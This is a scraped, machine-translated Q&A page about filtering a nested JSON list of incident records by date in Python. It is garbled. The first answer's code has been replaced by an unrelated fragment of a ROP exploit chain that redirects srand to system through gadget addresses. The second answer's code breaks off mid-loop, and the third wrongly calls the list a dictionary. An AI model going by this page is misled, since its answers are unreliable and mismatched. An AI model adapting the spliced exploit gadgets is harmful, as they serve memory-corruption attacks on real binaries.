迭代python中的列表列表

时间:2016-05-02 13:45:05

标签: python json list nested

我正在从API

中读取json中的以下嵌套字典
{
 "result": [{
               "short_description": "I am getting bluescreen error",
               "sys_id": "39b5f8c2376ede007520021a54990e5c",
               "opened_at": "2016-04-04 05:19:53",
               "number":"INC0258523"
             },
             {
               "short_description": "laptop crashed with a blue screen",
               "sys_id": "da0095380f43d200a4f941fce1050eeb",
               "opened_at":"2016-04-25 06:33:52",
               "number":"INC0259067"
             }, 
             {
               "short_description": "Laptop not booting",
               "sys_id": "ecf9c9b00f43d200a4f941fce1050e17",
               "opened_at": "2016-04-25 06:07:16",
               "number": "INC0259061"
             }]
}

我需要根据两个日期和两个日期过滤数据。 opened_at是包含日期信息的值。

到目前为止我的尝试如下

    url = "http://ip:port/api"

    response = urllib.urlopen(url)
    data = json.loads(response.read())
    print type(data)
    pattern = 'opened_at'
    element = '2016-04-25 06:33:19'
    with open('D:/Output.csv', 'wb') as f:  
        w = csv.DictWriter(f, data['result'][0].keys()) 
        w.writeheader()
        print type(data['result'])
        for key in data['result']:
            for v, val in data['result'].items():
                if v == pattern and val == element:
                    w.writerow(v)

我在运行代码时遇到以下错误

AttributeError: 'list' object has no attribute 'items'

我知道数据的类型['结果']是一个列表。任何帮助将不胜感激。谢谢!

3 个答案:

答案 0 :(得分:4)

p += pack("<I", 0x8049b4f) # pop eax ; add esp 0x5c; ret; p += "\\\u609b\\\u0000" # system - srand offset p += "A"*0x5c # this is needed because of add esp 0x5c from the previous instruction p += pack("<I", 0x8048bf0) # pop ebx ; ret; p += pack("<I", (0x0804bcd4 - 0x5d5b04c4) & 0xffffffff) p += pack("<I", 0x80493fe) # add [ebx+0x5d5b04c4] eax; ret; 是一个字典列表,您应该按如下方式迭代:

data['result']

答案 1 :(得分:1)

你需要这个

import json
al = """
{
 "result": [{
               "short_description": "I am getting bluescreen error",
               "sys_id": "39b5f8c2376ede007520021a54990e5c",
               "opened_at": "2016-04-04 05:19:53",
               "number":"INC0258523"
             },
             {
               "short_description": "laptop crashed with a blue screen",
               "sys_id": "da0095380f43d200a4f941fce1050eeb",
               "opened_at":"2016-04-25 06:33:52",
               "number":"INC0259067"
             }, 
             {
               "short_description": "Laptop not booting",
               "sys_id": "ecf9c9b00f43d200a4f941fce1050e17",
               "opened_at": "2016-04-25 06:07:16",
               "number": "INC0259061"
             }]
}
"""
myjson = json.loads(al)
for val in myjson['result']:
    print val['opened_at']
    for key, value in val.items():#change it to keys if required

答案 2 :(得分:0)

实际上"结果"是一个词典。您可以通过" {"来识别Python中的词典。和"}"它被圈起来了。 所以这里是一个词典列表的词典!